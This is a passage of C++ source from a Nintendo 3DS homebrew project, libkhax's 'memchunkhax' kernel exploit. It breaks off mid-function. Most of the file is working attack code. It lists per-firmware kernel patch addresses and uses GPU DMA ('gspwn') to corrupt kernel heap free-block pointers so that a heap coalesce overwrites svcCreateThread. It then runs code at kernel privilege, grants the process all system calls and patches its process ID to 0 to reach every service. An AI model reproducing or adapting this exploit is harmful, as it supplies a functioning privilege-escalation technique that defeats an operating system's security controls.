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Luma3DS-3GX/ninjhax/source/libkhax/khaxinit.cpp

1141 lines
38 KiB
C++

#include <3ds.h>
#include <cstddef>
#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <limits>
#include <new>
#include "khax.h"
#include "khaxinternal.h"
//------------------------------------------------------------------------------------------------
namespace KHAX
{
//------------------------------------------------------------------------------------------------
// Kernel and hardware version information.
struct VersionData
{
// New 3DS?
bool m_new3DS;
// Kernel version number
u32 m_kernelVersion;
// Nominal version number lower bound (for informational purposes only)
u32 m_nominalVersion;
// Patch location in svcCreateThread
u32 m_threadPatchAddress;
// Original version of code at m_threadPatchAddress
static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5;
// System call unlock patch location
u32 m_syscallPatchAddress;
// Kernel virtual address mapping of FCRAM
u32 m_fcramVirtualAddress;
// Physical mapping of FCRAM on this machine
static constexpr const u32 m_fcramPhysicalAddress = 0x20000000;
// Physical size of FCRAM on this machine
u32 m_fcramSize;
// Address of KThread address in kernel (KThread **)
static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast<KThread **>(0xFFFF9000);
// Address of KProcess address in kernel (KProcess **)
static constexpr void **const m_currentKProcessPtr = reinterpret_cast<void **>(0xFFFF9004);
// Pseudo-handle of the current KProcess.
static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001;
// Returned pointers within a KProcess object. This abstracts out which particular
// version of the KProcess object is in use.
struct KProcessPointers
{
KSVCACL *m_svcAccessControl;
u32 *m_kernelFlags;
u32 *m_processID;
};
// Creates a KProcessPointers for this kernel version and pointer to the object.
KProcessPointers(*m_makeKProcessPointers)(void *kprocess);
// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual
// address using the version-specific information in this table entry.
void *ConvertLinearUserVAToKernelVA(void *address) const;
// Retrieve a VersionData for this kernel, or null if not recognized.
static const VersionData *GetForCurrentSystem();
private:
// Implementation behind m_makeKProcessPointers.
template <typename KProcessType>
static KProcessPointers MakeKProcessPointers(void *kprocess);
// Table of these.
static const VersionData s_versionTable[];
};
//------------------------------------------------------------------------------------------------
// ARM11 kernel hack class.
class MemChunkHax
{
public:
// Construct using the version information for the current system.
MemChunkHax(const VersionData *versionData)
: m_versionData(versionData),
m_nextStep(1),
m_corrupted(0),
m_overwriteMemory(nullptr),
m_overwriteAllocated(0),
m_extraLinear(nullptr)
{
s_instance = this;
}
// Free memory and such.
~MemChunkHax();
// Umm, don't copy this class.
MemChunkHax(const MemChunkHax &) = delete;
MemChunkHax &operator =(const MemChunkHax &) = delete;
// Basic initialization.
Result Step1_Initialize();
// Allocate linear memory for the memchunkhax operation.
Result Step2_AllocateMemory();
// Free the second and fourth pages of the five.
Result Step3_SurroundFree();
// Verify that the freed heap blocks' data matches our expected layout.
Result Step4_VerifyExpectedLayout();
// Corrupt svcCreateThread in the ARM11 kernel and create the foothold.
Result Step5_CorruptCreateThread();
// Execute svcCreateThread to execute code at SVC privilege.
Result Step6_ExecuteSVCCode();
// Grant access to all services.
Result Step7_GrantServiceAccess();
private:
// SVC-mode entry point thunk (true entry point).
static Result Step6a_SVCEntryPointThunk();
// SVC-mode entry point.
Result Step6b_SVCEntryPoint();
// Undo the code patch that Step5_CorruptCreateThread did.
Result Step6c_UndoCreateThreadPatch();
// Fix the heap corruption caused as a side effect of step 5.
Result Step6d_FixHeapCorruption();
// Grant our process access to all system calls, including svcBackdoor.
Result Step6e_GrantSVCAccess();
// Patch the process ID to 0. Runs as svcBackdoor.
static Result Step7a_PatchPID();
// Restore the original PID. Runs as svcBackdoor.
static Result Step7b_UnpatchPID();
// Helper for dumping memory to SD card.
template <std::size_t S>
bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const;
// Result returned by hacked svcCreateThread upon success.
static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE;
// Version information.
const VersionData *const m_versionData;
// Next step number.
int m_nextStep;
// Whether we are in a corrupted state, meaning we cannot continue if an error occurs.
int m_corrupted;
// Free block structure in the kernel, the one used in the memchunkhax exploit.
struct HeapFreeBlock
{
int m_count;
HeapFreeBlock *m_next;
HeapFreeBlock *m_prev;
int m_unknown1;
int m_unknown2;
};
// The layout of a memory page.
union Page
{
unsigned char m_bytes[4096];
HeapFreeBlock m_freeBlock;
};
// The linear memory allocated for the memchunkhax overwrite.
struct OverwriteMemory
{
union
{
unsigned char m_bytes[6 * 4096];
Page m_pages[6];
};
};
OverwriteMemory *m_overwriteMemory;
unsigned m_overwriteAllocated;
// Additional linear memory buffer for temporary purposes.
union ExtraLinearMemory
{
ALIGN(64) unsigned char m_bytes[64];
// When interpreting as a HeapFreeBlock.
HeapFreeBlock m_freeBlock;
};
// Must be a multiple of 16 for use with gspwn.
static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes");
ExtraLinearMemory *m_extraLinear;
// Copy of the old ACL
KSVCACL m_oldACL;
// Original process ID.
u32 m_originalPID;
// Buffers for dumped data when debugging.
#ifdef KHAX_DEBUG_DUMP_DATA
unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)];
unsigned char m_savedKThread[sizeof(KThread)];
unsigned char m_savedThreadSVC[0x100];
#endif
// Pointer to our instance.
static MemChunkHax *volatile s_instance;
};
//------------------------------------------------------------------------------------------------
// Make an error code
inline Result MakeError(Result level, Result summary, Result module, Result error);
enum : Result { KHAX_MODULE = 254 };
// Check whether this system is a New 3DS.
Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0);
// gspwn, meant for reading from or writing to freed buffers.
Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true);
static Result userFlushDataCache(const void *p, std::size_t n);
static Result userInvalidateDataCache(const void *p, std::size_t n);
static void userFlushPrefetch();
static void userDsb();
static void userDmb();
static void kernelCleanDataCacheLineWithMva(const void *p);
static void kernelInvalidateInstructionCacheLineWithMva(const void *p);
// Given a pointer to a structure that is a member of another structure,
// return a pointer to the outer structure. Inspired by Windows macro.
template <typename Outer, typename Inner>
Outer *ContainingRecord(Inner *member, Inner Outer::*field);
}
//------------------------------------------------------------------------------------------------
//
// Class VersionData
//
//------------------------------------------------------------------------------------------------
// Creates a KProcessPointers for this kernel version and pointer to the object.
template <typename KProcessType>
KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess)
{
KProcessType *kproc = static_cast<KProcessType *>(kprocess);
KProcessPointers result;
result.m_svcAccessControl = &kproc->m_svcAccessControl;
result.m_processID = &kproc->m_processID;
result.m_kernelFlags = &kproc->m_kernelFlags;
return result;
}
//------------------------------------------------------------------------------------------------
// System version table
const KHAX::VersionData KHAX::VersionData::s_versionTable[] =
{
#define KPROC_FUNC(ver) MakeKProcessPointers<KProcess_##ver>
// Old 3DS, old address layout
{ false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
{ false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
{ false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
{ false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
{ false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
{ false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
{ false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },
// Old 3DS, new address layout
{ false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },
{ false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },
// New 3DS
{ true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested
{ true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) },
#undef KPROC_FUNC
};
//------------------------------------------------------------------------------------------------
// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual
// address using the version-specific information in this table entry.
void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const
{
static_assert((std::numeric_limits<std::uintptr_t>::max)() == (std::numeric_limits<u32>::max)(),
"you're sure that this is a 3DS?");
// Convert the address to a physical address, since that's how we know the mapping.
u32 physical = osConvertVirtToPhys(address);
if (physical == 0)
{
return nullptr;
}
// Verify that the address is within FCRAM.
if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize))
{
return nullptr;
}
// Now we can convert.
return reinterpret_cast<char *>(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress);
}
//------------------------------------------------------------------------------------------------
// Retrieve a VersionData for this kernel, or null if not recognized.
const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem()
{
// Get kernel version for comparison.
u32 kernelVersion = osGetKernelVersion();
// Determine whether this is a New 3DS.
bool isNew3DS;
if (IsNew3DS(&isNew3DS, kernelVersion) != 0)
{
return nullptr;
}
// Search our list for a match.
for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry)
{
// New 3DS flag must match.
if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS))
{
continue;
}
// Kernel version must match.
if (entry->m_kernelVersion != kernelVersion)
{
continue;
}
return entry;
}
return nullptr;
}
//------------------------------------------------------------------------------------------------
//
// Class MemChunkHax
//
//------------------------------------------------------------------------------------------------
KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr;
//------------------------------------------------------------------------------------------------
// Basic initialization.
Result KHAX::MemChunkHax::Step1_Initialize()
{
if (m_nextStep != 1)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// Nothing to do in current implementation.
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// Allocate linear memory for the memchunkhax operation.
Result KHAX::MemChunkHax::Step2_AllocateMemory()
{
if (m_nextStep != 2)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// Allocate the linear memory for the overwrite process.
u32 address = 0xFFFFFFFF;
Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR,
static_cast<MemPerm>(MEMPERM_READ | MEMPERM_WRITE));
KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address);
if (result != 0)
{
return result;
}
m_overwriteMemory = reinterpret_cast<OverwriteMemory *>(address);
m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now
// Why didn't we get a page-aligned address?!
if (address & 0xFFF)
{
// Since we already assigned m_overwriteMemory, it'll get freed by our destructor.
KHAX_printf("Step2:misaligned memory\n");
return MakeError(26, 7, KHAX_MODULE, 1009);
}
// Allocate extra memory that we'll need.
m_extraLinear = static_cast<ExtraLinearMemory *>(linearMemAlign(sizeof(*m_extraLinear),
alignof(*m_extraLinear)));
if (!m_extraLinear)
{
KHAX_printf("Step2:failed extra alloc\n");
return MakeError(26, 3, KHAX_MODULE, 1011);
}
KHAX_printf("Step2:extra=%p\n", m_extraLinear);
// OK, we're good here.
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// Free the second and fourth pages of the five.
Result KHAX::MemChunkHax::Step3_SurroundFree()
{
if (m_nextStep != 3)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// We do this because the exploit involves triggering a heap coalesce. We surround a heap
// block (page) with two freed pages, then free the middle page. By controlling both outside
// pages, we know their addresses, and can fix up the corrupted heap afterward.
//
// Here's what the heap will look like after step 3:
//
// ___XX-X-X___
//
// _ = unknown (could be allocated and owned by other code)
// X = allocated
// - = allocated then freed by us
//
// In step 4, we will free the second page:
//
// ___X--X-X___
//
// Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's
// "previous" pointer will be set to point to the second page rather than the third. We will
// use gspwn to make that overwrite kernel code instead.
//
// We have 6 pages to ensure that we have surrounding allocated pages, giving us a little
// sandbox to play in. In particular, we can use this design to determine the address of the
// next block--by controlling the location of the next block.
u32 dummy;
// Free the third page.
if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[2]), 0,
sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast<MemPerm>(0)))
{
KHAX_printf("Step3:svcCM1 failed:%08lx\n", result);
return result;
}
m_overwriteAllocated &= ~(1u << 2);
// Free the fifth page.
if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[4]), 0,
sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast<MemPerm>(0)))
{
KHAX_printf("Step3:svcCM2 failed:%08lx\n", result);
return result;
}
m_overwriteAllocated &= ~(1u << 4);
// Attempt to write to remaining pages.
//KHAX_printf("Step2:probing page [0]\n");
*static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0;
//KHAX_printf("Step2:probing page [1]\n");
*static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0;
//KHAX_printf("Step2:probing page [3]\n");
*static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0;
//KHAX_printf("Step2:probing page [5]\n");
*static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0;
KHAX_printf("Step3:probing done\n");
// Done.
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// Verify that the freed heap blocks' data matches our expected layout.
Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout()
{
if (m_nextStep != 4)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// Copy the first freed page (third page) out to read its heap metadata.
userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear));
userDmb();
if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2],
sizeof(*m_extraLinear)))
{
KHAX_printf("Step4:gspwn failed:%08lx\n", result);
return result;
}
// Debug information about the memory block
KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData->
ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]));
KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,
m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);
// The next page from the third should equal the fifth page.
if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA(
&m_overwriteMemory->m_pages[4]))
{
KHAX_printf("Step4:[2]->next != [4]\n");
KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next,
m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]),
&m_overwriteMemory->m_pages[4]);
return MakeError(26, 5, KHAX_MODULE, 1014);
}
// Copy the second freed page (fifth page) out to read its heap metadata.
userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear));
userDmb();
if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4],
sizeof(*m_extraLinear)))
{
KHAX_printf("Step4:gspwn failed:%08lx\n", result);
return result;
}
KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData->
ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]));
KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,
m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);
// The previous page from the fifth should equal the third page.
if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA(
&m_overwriteMemory->m_pages[2]))
{
KHAX_printf("Step4:[4]->prev != [2]\n");
KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev,
m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]),
&m_overwriteMemory->m_pages[2]);
return MakeError(26, 5, KHAX_MODULE, 1014);
}
// Validation successful
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// Corrupt svcCreateThread in the ARM11 kernel and create the foothold.
Result KHAX::MemChunkHax::Step5_CorruptCreateThread()
{
if (m_nextStep != 5)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
userInvalidateDataCache(m_extraLinear, sizeof(*m_extraLinear));
userDmb();
// Read the memory page we're going to gspwn.
if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock,
sizeof(*m_extraLinear)))
{
KHAX_printf("Step5:gspwn read failed:%08lx\n", result);
return result;
}
// Adjust the "next" pointer to point to within the svcCreateThread system call so as to
// corrupt certain instructions. The result will be that calling svcCreateThread will result
// in executing our code.
// NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev.
// That is, the overwrite adds this offset back in.
m_extraLinear->m_freeBlock.m_next = reinterpret_cast<HeapFreeBlock *>(
m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev));
userFlushDataCache(&m_extraLinear->m_freeBlock.m_next,
sizeof(m_extraLinear->m_freeBlock.m_next));
// Do the GSPwn, the actual exploit we've been waiting for.
if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear,
sizeof(*m_extraLinear)))
{
KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result);
return result;
}
// The heap is now corrupted in two ways (Step6 explains why two ways).
m_corrupted += 2;
KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n");
// Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third
// page into the second page, and in the process zap an instruction pair in svcCreateThread.
u32 dummy;
if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[1]),
0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast<MemPerm>(0)))
{
KHAX_printf("Step5:free to pwn failed:%08lx\n", result);
return result;
}
m_overwriteAllocated &= ~(1u << 1);
userFlushPrefetch();
// We have an additional layer of instability because of the kernel code overwrite.
++m_corrupted;
KHAX_printf("Step5:svcCreateThread now hacked\n");
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// Execute svcCreateThread to execute code at SVC privilege.
Result KHAX::MemChunkHax::Step6_ExecuteSVCCode()
{
if (m_nextStep != 6)
{
KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep);
return MakeError(28, 5, KHAX_MODULE, 1016);
}
// Call svcCreateThread such that r0 is the desired exploit function. Note that the
// parameters to the usual system call thunk are rearranged relative to the actual system call
// - the thread priority parameter is actually the one that goes into r0. In addition, we
// want to pass other parameters that make for an illegal thread creation request, because the
// rest of the thread creation SVC occurs before the hacked code gets executed. We want the
// thread creation request to fail, then the hack to grant us control. Processor ID
// 0x7FFFFFFF seems to do the trick here.
Handle dummyHandle;
Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast<s32>(
Step6a_SVCEntryPointThunk), (std::numeric_limits<s32>::max)());
KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep);
if (result != STEP6_SUCCESS_RESULT)
{
// If the result was 0, something actually went wrong.
if (result == 0)
{
result = MakeError(27, 11, KHAX_MODULE, 1023);
}
return result;
}
#ifdef KHAX_DEBUG
char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1];
char *sp = oldACLString;
for (unsigned char b : m_oldACL)
{
*sp++ = "0123456789abcdef"[b >> 4];
*sp++ = "0123456789abcdef"[b & 15];
}
*sp = '\0';
KHAX_printf("oldACL:%s\n", oldACLString);
#endif
++m_nextStep;
return 0;
}
//------------------------------------------------------------------------------------------------
// SVC-mode entry point thunk (true entry point).
#ifndef _MSC_VER
__attribute__((__naked__))
#endif
Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk()
{
__asm__ volatile("cpsid aif\n"
"add sp, sp, #8\n");
register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint();
__asm__ volatile("ldr pc, [sp], #4" : : "r"(result));
}
//------------------------------------------------------------------------------------------------
// SVC-mode entry point.
#ifndef _MSC_VER
__attribute__((__noinline__))
#endif
Result KHAX::MemChunkHax::Step6b_SVCEntryPoint()
{
if (Result result = Step6c_UndoCreateThreadPatch())
{
return result;
}
if (Result result = Step6d_FixHeapCorruption())
{
return result;
}
if (Result result = Step6e_GrantSVCAccess())
{
return result;
}
return STEP6_SUCCESS_RESULT;
}
//------------------------------------------------------------------------------------------------
// Undo the code patch that Step5_CorruptCreateThread did.
Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch()
{
// Unpatch svcCreateThread. NOTE: Misaligned pointer.
*reinterpret_cast<u32 *>(m_versionData->m_threadPatchAddress) = m_versionData->
m_threadPatchOriginalCode;
kernelCleanDataCacheLineWithMva(
reinterpret_cast<void *>(m_versionData->m_threadPatchAddress));
userDsb();
kernelInvalidateInstructionCacheLineWithMva(
reinterpret_cast<void *>(m_versionData->m_threadPatchAddress));
--m_corrupted;
return 0;
}
//------------------------------------------------------------------------------------------------
// Fix the heap corruption caused as a side effect of step 5.
Result KHAX::MemChunkHax::Step6d_FixHeapCorruption()
{
// The kernel's heap coalesce code seems to be like the following for the case we triggered,
// where we're freeing a block before ("left") an adjacent block ("right"):
//
// (1) left->m_count += right->m_count;
// (2) left->m_next = right->m_next;
// (3) right->m_next->m_prev = left;
//
// (1) should have happened normally. (3) is what we exploit: we set right->m_next to point
// to where we want to patch, such that the write to m_prev is the desired code overwrite.
// (2) is copying the value we put into right->m_next to accomplish (3).
//
// As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to
// point to the correct next free block, and do the write to right->m_next->m_prev that didn't
// happen because it instead was writing to kernel code.
// "left" is the second overwrite page.
auto left = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(
&m_overwriteMemory->m_pages[1].m_freeBlock));
// "right->m_next" is the fifth overwrite page.
auto rightNext = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(
&m_overwriteMemory->m_pages[4].m_freeBlock));
// Do the two fixups.
left->m_next = rightNext;
--m_corrupted;
rightNext->m_prev = left;
--m_corrupted;
return 0;
}
//------------------------------------------------------------------------------------------------
// Grant our process access to all system calls, including svcBackdoor.
Result KHAX::MemChunkHax::Step6e_GrantSVCAccess()
{
// Everything, except nonexistent services 00, 7E or 7F.
static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F";
// Get the KThread pointer. Its type doesn't vary, so far.
KThread *kthread = *m_versionData->m_currentKThreadPtr;
// Debug dumping.
#ifdef KHAX_DEBUG_DUMP_DATA
// Get the KProcess pointer, whose type varies by kernel version.
void *kprocess = *m_versionData->m_currentKProcessPtr;
void *svcData = reinterpret_cast<void *>(reinterpret_cast<std::uintptr_t>(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF));
std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess));
std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread));
std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC));
#endif
// Get a pointer to the SVC ACL within the SVC area for the thread.
SVCThreadArea *svcThreadArea = ContainingRecord<SVCThreadArea>(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState);
KSVCACL &threadACL = svcThreadArea->m_svcAccessControl;
// Save the old one for diagnostic purposes.
std::memcpy(m_oldACL, threadACL, sizeof(threadACL));
// Set the ACL for the current thread.
std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL));
return 0;
}
//------------------------------------------------------------------------------------------------
// Grant access to all services.
Result KHAX::MemChunkHax::Step7_GrantServiceAccess()
{
// Backup the original PID.
Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle);
if (result != 0)
{
KHAX_printf("Step7:GetPID1 fail:%08lx\n", result);
return result;
}
KHAX_printf("Step7:current pid=%lu\n", m_originalPID);
// Patch the PID to 0, granting access to all services.
svcBackdoor(Step7a_PatchPID);
// Check whether PID patching succeeded.
u32 newPID;
result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);
if (result != 0)
{
// Attempt patching back anyway, for stability reasons.
svcBackdoor(Step7b_UnpatchPID);
KHAX_printf("Step7:GetPID2 fail:%08lx\n", result);
return result;
}
if (newPID != 0)
{
KHAX_printf("Step7:nonzero:%lu\n", newPID);
return MakeError(27, 11, KHAX_MODULE, 1023);
}
// Reinit ctrulib's srv connection to gain access to all services.
srvExit();
srvInit();
// Restore the original PID now that srv has been tricked into thinking that we're PID 0.
svcBackdoor(Step7b_UnpatchPID);
// Check whether PID restoring succeeded.
result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);
if (result != 0)
{
KHAX_printf("Step7:GetPID3 fail:%08lx\n", result);
return result;
}
if (newPID != m_originalPID)
{
KHAX_printf("Step7:not same:%lu\n", newPID);
return MakeError(27, 11, KHAX_MODULE, 1023);
}
return 0;
}
//------------------------------------------------------------------------------------------------
// Patch the PID to 0.
Result KHAX::MemChunkHax::Step7a_PatchPID()
{
// Disable interrupts ASAP.
// FIXME: Need a better solution for this.
__asm__ volatile("cpsid aif");
// Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers
// to translate the raw KProcess pointer into pointers into key fields, and we access the
// m_processID field from it.
*(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)
.m_processID) = 0;
return 0;
}
//------------------------------------------------------------------------------------------------
// Restore the original PID.
Result KHAX::MemChunkHax::Step7b_UnpatchPID()
{
// Disable interrupts ASAP.
// FIXME: Need a better solution for this.
__asm__ volatile("cpsid aif");
// Patch the PID back to the original value.
*(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)
.m_processID) = s_instance->m_originalPID;
return 0;
}
//------------------------------------------------------------------------------------------------
// Helper for dumping memory to SD card.
template <std::size_t S>
bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const
{
char formatted[32];
snprintf(formatted, KHAX_lengthof(formatted), filename,
static_cast<unsigned>(m_versionData->m_kernelVersion), m_versionData->m_new3DS ?
"New" : "Old");
bool result = true;
FILE *file = std::fopen(formatted, "wb");
if (file)
{
result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1);
std::fclose(file);
}
else
{
result = false;
}
return result;
}
//------------------------------------------------------------------------------------------------
// Free memory and such.
KHAX::MemChunkHax::~MemChunkHax()
{
// Dump memory to SD card if that is enabled.
#ifdef KHAX_DEBUG_DUMP_DATA
if (m_nextStep > 6)
{
DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin");
DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin");
DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin");
}
#endif
// If we're corrupted, we're dead.
if (m_corrupted > 0)
{
KHAX_printf("~:error while corrupt;freezing\n");
for (;;)
{
svcSleepThread(s64(60) * 1000000000);
}
}
// This function has to be careful not to crash trying to shut down after an aborted attempt.
if (m_overwriteMemory)
{
u32 dummy;
// Each page has a flag indicating that it is still allocated.
for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x)
{
// Don't free a page unless it remains allocated.
if (m_overwriteAllocated & (1u << x))
{
Result res = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[x]), 0,
sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast<MemPerm>(0));
KHAX_printf("free %u: %08lx\n", x, res);
KHAX_UNUSED(res);
}
}
}
// Free the extra linear memory.
if (m_extraLinear)
{
linearFree(m_extraLinear);
}
// s_instance better be us
if (s_instance != this)
{
KHAX_printf("~:s_instance is wrong\n");
}
else
{
s_instance = nullptr;
}
}
//------------------------------------------------------------------------------------------------
//
// Miscellaneous
//
//------------------------------------------------------------------------------------------------
// Make an error code
inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error)
{
